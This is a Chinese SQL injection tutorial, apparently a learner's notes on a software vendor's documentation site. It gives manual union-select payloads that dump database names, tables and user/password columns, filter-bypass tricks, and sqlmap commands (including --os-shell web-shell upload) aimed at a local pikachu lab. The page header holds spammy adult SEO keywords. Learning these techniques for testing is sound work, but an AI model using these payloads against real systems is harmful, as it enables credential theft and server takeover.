狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

SQL注入方法

freeflydom
2024年9月18日 1:47 本文熱度 1411

前言

記錄一些注入思路和經(jīng)常使用的工具,后續(xù)有用到新的工具和總結(jié)新的方法再繼續(xù)補(bǔ)充。

如何測試與利用注入點(diǎn)

手工

下面的現(xiàn)象是在說存在注入點(diǎn)后的現(xiàn)象,如果服務(wù)端有防護(hù)手段就需要另外的手段繞過。

老方法:

  • 單引號

    現(xiàn)象:出現(xiàn)數(shù)據(jù)庫報(bào)錯(cuò)。

  • or 1=1--

    現(xiàn)象:正常訪問頁面或者跟多數(shù)據(jù)一起展現(xiàn)出來了。

  • and 1=1--

    現(xiàn)象:正常訪問頁面。

  • and 1=2--

    現(xiàn)象:不會顯示任何內(nèi)容或者會看到報(bào)錯(cuò)信息,這取決于服務(wù)端代碼是如何寫的。

  • order by n

    現(xiàn)象:判斷該表的字段數(shù)量,直到?jīng)]有報(bào)錯(cuò)即order by后面那個(gè)n就是字段數(shù)

  • union

    前提:知道表的字段數(shù)量,所以可以先使用上面的order by進(jìn)行測試字段數(shù)

    payload:union select user(),database()--

    現(xiàn)象:若存在注入點(diǎn),這里的union使用的地方通常是可以展示多個(gè)數(shù)據(jù)的地方,因?yàn)槁?lián)合出來的數(shù)據(jù)會很多條,若存在注入點(diǎn)union注入的能力會十分強(qiáng)大。

    MySQL5.0以上有information_schema數(shù)據(jù)庫信息

    • 獲取所有數(shù)據(jù)庫名:

      union select 1,group_concat(schema_name) from information_schema.schemata

    • 獲取當(dāng)前數(shù)據(jù)庫所有表名:

      'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

    • 獲取某些表的所有列名:

      'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

      其中table_name=0x7573657273為十六進(jìn)制,這個(gè)不轉(zhuǎn)成十六進(jìn)制也可以table_name="users"

    • 獲取某表的所有字段數(shù)據(jù):

      ' union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users

      0x7c表示 | 符號,其實(shí)就是用過|將所有字段數(shù)據(jù)拼接到一起進(jìn)行顯示

注入思路

  • 第一步:找注入點(diǎn),尋報(bào)錯(cuò)

    單引號、雙引號、單引號+括號、雙引號+括號、單引號+雙括號、雙引號+雙括號、數(shù)字型(不用閉合)、json等等類型注入(post數(shù)據(jù))、http header注入...

  • 第二步:

    • 嘗試報(bào)錯(cuò)注入。

    • dnslog注入拖庫

    • bool盲注、base on time 時(shí)間型注入等等

    • http header 數(shù)據(jù)包中尋找注入點(diǎn)。

    • order by 、union select 等方法猜測后端代碼中這條sql語句查詢的屬性列數(shù)是多少

    • union select 1,2,3...,直到查詢列數(shù)后,通過查詢一個(gè)不存在的數(shù)據(jù)然后與union select聯(lián)合查詢配合回顯顯示位

    • 如果被攔下了:對數(shù)據(jù)進(jìn)行編碼、大小寫混用、雙寫、字符串拼接等等

    • 若有回顯信息

      修改顯示位為我們要獲取的信息,比如:database()、version()等等,或者mysql5.0以上使用imformation_schema來快速拖庫。

    • 若無回顯信息

      嘗試bool盲注、base on time時(shí)間型注入等等。這里也可以嘗試報(bào)錯(cuò)注入。

    • 若第一步發(fā)現(xiàn)有回顯報(bào)錯(cuò)信息出現(xiàn),則可以進(jìn)行sql注入語句的編寫。

    • 若第一步無回顯信息出現(xiàn)。

  • 第三步:

    • 編寫能夠通過前后端檢查的sql注入語句

    • 使用工具拖庫

    • 可嘗試使用數(shù)據(jù)庫自帶的可執(zhí)行系統(tǒng)命令進(jìn)一步滲透。

工具

以下是一些工具注入手段。
在Github或谷歌搜索都能搜到

  • Pongolin(穿山甲)

  • Havij(蘿卜頭)

    來自國外的,比較經(jīng)典且實(shí)用,就是注冊的時(shí)候有點(diǎn)麻煩,可以通過報(bào)錯(cuò)的信息發(fā)現(xiàn)缺少什么組件去網(wǎng)上直接找解決方法即可。

    可以執(zhí)行后端數(shù)據(jù)庫指紋識別,檢索DBMS用戶和密碼哈希,轉(zhuǎn)儲表和列,從數(shù)據(jù)庫獲取

    數(shù)據(jù),執(zhí)行SQL語句甚至訪問底層文件系統(tǒng)并發(fā)出操作系統(tǒng)級命令

sqlmap

下載地址:https://github.com/sqlmapproject/sqlmap

介紹:是一個(gè)開源的滲透工具。使用python2.7開發(fā)的,所以我們使用的時(shí)候需要用python2。或者直接去kali系統(tǒng)使用,kali自帶了sqlmap工具。而且他的參數(shù)都是直接添加即可,沒有順序可言,就很方便。

執(zhí)行命令后可能會提示,下面使用簡單的-u對一個(gè)網(wǎng)址進(jìn)行測試作為示例入門:

  • 1:sqlmap測試出來時(shí)哪個(gè)數(shù)據(jù)庫的時(shí)候會提示你是否還繼續(xù)測試其他數(shù)據(jù)庫的payload注入語句,這里一般輸入n,你不放心就可以y

  • 2:沒有設(shè)置level和risk的話就會詢問你是否默認(rèn)都為等級1

  • 3:找到注入的參數(shù)后就會詢問你是否還要繼續(xù)找其他注入?yún)?shù),這里就看自己需求

  • 出結(jié)果:

開始介紹參數(shù)使用與示例

-r

  • 介紹:萬能參數(shù),主要針對post注入,但是任何其他請求方法都是可以的,這個(gè)參數(shù)用的最多。該參數(shù)是將數(shù)據(jù)包文件中的數(shù)據(jù)發(fā)送出去測試sql注入點(diǎn),所以測試網(wǎng)站中某個(gè)url是否有sql注入點(diǎn)就可以抓包,然后保存下來,使用-r參數(shù)進(jìn)行對該url測試。

執(zhí)行命令:python2 sqlmap.py -r 數(shù)據(jù)包文件

-u

  • 介紹:只針對get請求,并且參數(shù)url最好用雙引號括起來。避免有些符號無法轉(zhuǎn)義當(dāng)成參數(shù)寫進(jìn)去了。

執(zhí)行命令:python2 sqlmap.py -u "http://192.168.121.151/pikachu/vul/sqli/sqli_search.php?name=vince&submit=%E6%90%9C%E7%B4%A2"

-m

  • 介紹:上面的-u只能對一個(gè)url進(jìn)行測試,那么肯定能夠?qū)Χ鄠€(gè)url進(jìn)行測試的參數(shù),那就是-m了,需要注意的是-m的參數(shù)是指定文件,我們多個(gè)url是寫在文件中,然后-m指定該文件

執(zhí)行命令:sqlmap-master>python2 sqlmap.py --level 3 --risk 3 -m ./m.txt

注意:若你使用的url都是同一個(gè)ip地址下的網(wǎng)址的話,在測試過程中,會出現(xiàn)問你是否跳過同一個(gè)ip下的另一個(gè)url網(wǎng)址測試,這時(shí)候需要你選擇否來繼續(xù)測試你文件中的下一個(gè)url網(wǎng)址,如果不是同ip僅僅只是詢問你確認(rèn)該網(wǎng)址。如下圖就是同一個(gè)ip下的兩個(gè)網(wǎng)址進(jìn)行測試,輪到下一個(gè)的時(shí)候會詢問你是否跳過,我們要測試的肯定一般都不會跳過,所以選擇否。

--level

  • 介紹:執(zhí)行測試的等級(1-5,默認(rèn)為1),使用–level 參數(shù)且數(shù)值 >=2的時(shí)候也會檢查cookie里面的參數(shù),當(dāng)>=3的時(shí)候?qū)z查User-agent和Referer。

執(zhí)行命令:按照上面的執(zhí)行語句加一句 [--level 等級] 即可,如下

python2 sqlmap.py --level 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

注意:比如你寫了level 3,那么在詢問你的時(shí)候就會是 level 3,但是risk還是默認(rèn)1,如下圖

--risk

  • 介紹:執(zhí)行測試的風(fēng)險(xiǎn)(0-3,默認(rèn)為1),默認(rèn)是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加OR語句的SQL注入測試。

執(zhí)行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_b.php?name=vince&submit=%E6%9F%A5%E8%AF%A2"

同理注意:比如你寫了risk3,那么在詢問你的時(shí)候就會是 risk3,但是level還是默認(rèn)1,很容易發(fā)現(xiàn),如多l(xiāng)evel 和 risk都定義了參數(shù)等級那就不會按照默認(rèn)的等級來。


通常情況下使用level 3 risk 3就可以。


-v

顯示詳細(xì)信息的意思,ERBOSE信息級別: 0-6 (缺省默認(rèn)1),其值具體含義:

  • “0”只顯示python錯(cuò)誤以及嚴(yán)重的信息;

  • "1"同時(shí)顯示基本信息和警告信息(默認(rèn));

  • “2”同時(shí)顯示debug信息;

  • “3”同時(shí)顯示注入的payload;

  • “4”同時(shí)顯示HTTP請求;

  • “5”同時(shí)顯示HTTP響應(yīng)頭;

  • “6”同時(shí)顯示HTTP響應(yīng)頁面;

如果想看到sqlmap發(fā)送的測試payload最好的等級就是3。設(shè)置為5的話,可以看到http相應(yīng)信息,比較詳細(xì)。

執(zhí)行命令:python2 sqlmap.py --level 3 --risk 3 -u "http://192.168.121.151/pikachu/vul/sqli/sqli_blind_t.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -v 3

學(xué)到這里其實(shí)已經(jīng)發(fā)現(xiàn)我們的參數(shù)逐漸完善了,基本的語句就是上面的例子↑

-p

-p就是指定你注入的參數(shù),比如id是一個(gè)注入點(diǎn),那我們在測試的時(shí)候就可以指定id參數(shù),-p id,這樣測試會讓測試時(shí)間大大減少。不管是post數(shù)據(jù)包還是get的url都是可以使用-p 直接指定注入?yún)?shù)。

--threads

  • 介紹:指明發(fā)送請求的并發(fā)線程數(shù)量。線程數(shù)越低判斷出來的sql注入準(zhǔn)確率越高。

    • 注意:這個(gè)默認(rèn)線程數(shù)量在 sqlmap文件夾\lib\core\setting.py 中,修改其中的MAX_NUMBER_OF_THREADS = 10,也就是說你使用--threads 指明的線程數(shù)最大也就10,想要指定更大的就修改配置文件。(一般不需要很大,不然對方服務(wù)器也頂不住這么大的請求數(shù)量。甚至還有可能封你ip)

-batch-smart

智能判斷測試,自行尋找注入點(diǎn)進(jìn)行測試 (該命令很少用)

這個(gè)智能指令,會將所有數(shù)據(jù)庫全部扒一遍,并且會將每一步的信息和數(shù)據(jù)全部給我們保存下來,在如下目錄中

記住,這個(gè)參數(shù)測出來的信息會很多,數(shù)據(jù)庫、表等等都會出來。

--os-shell

個(gè)人不推薦使用。(動靜大不說,等待時(shí)間還比較久)

前提條件

  • 網(wǎng)站必須是root權(quán)限

  • 攻擊者需要知道網(wǎng)站的絕對路徑

  • GPC為off,php主動轉(zhuǎn)義的功能關(guān)閉

該功能耗費(fèi)時(shí)間比較長。

原理

就是用into outfile函數(shù)將一個(gè)可以用來上傳的php文件寫到網(wǎng)站的根目錄下
然后利用tmpukjhb.php上傳了一個(gè)tmpbezal.php的文件,tmpbezal.php這個(gè)文件可以用來執(zhí)行系統(tǒng)命令,并且將結(jié)果返回出來

--mobile

直接加上--mobile即可,他會自動讓你選擇手機(jī)型號,不用自己輸入手機(jī)型號(所以也有局限性,但是也不算局限性,市面這么多手機(jī),只要能夠讓網(wǎng)站判斷是手機(jī)訪問的即可了)

tamper插件

使用方法:

sqlmap.py -u url --tamper "base64encode.py";

獲取數(shù)據(jù)的相關(guān)參數(shù)

以下參數(shù)都是直接加上去即可,不用另外添加數(shù)據(jù)

例子:http://192.168.121.151/sql.php?id=1 --dbs

  • --dbs # 會獲取所有的數(shù)據(jù)庫

  • --current-user #顯示當(dāng)前用戶

  • --current-db #當(dāng)前連接數(shù)據(jù)庫名

  • --is-dba #判斷當(dāng)前的用戶是否為管理員

  • --users #列出數(shù)據(jù)庫所有所有用戶


暫時(shí)了解這么多,后面繼續(xù)進(jìn)階了再繼續(xù)學(xué)習(xí)補(bǔ)充...




該文章在 2024/9/18 9:56:19 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場、車隊(duì)、財(cái)務(wù)費(fèi)用、相關(guān)報(bào)表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時(shí)間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved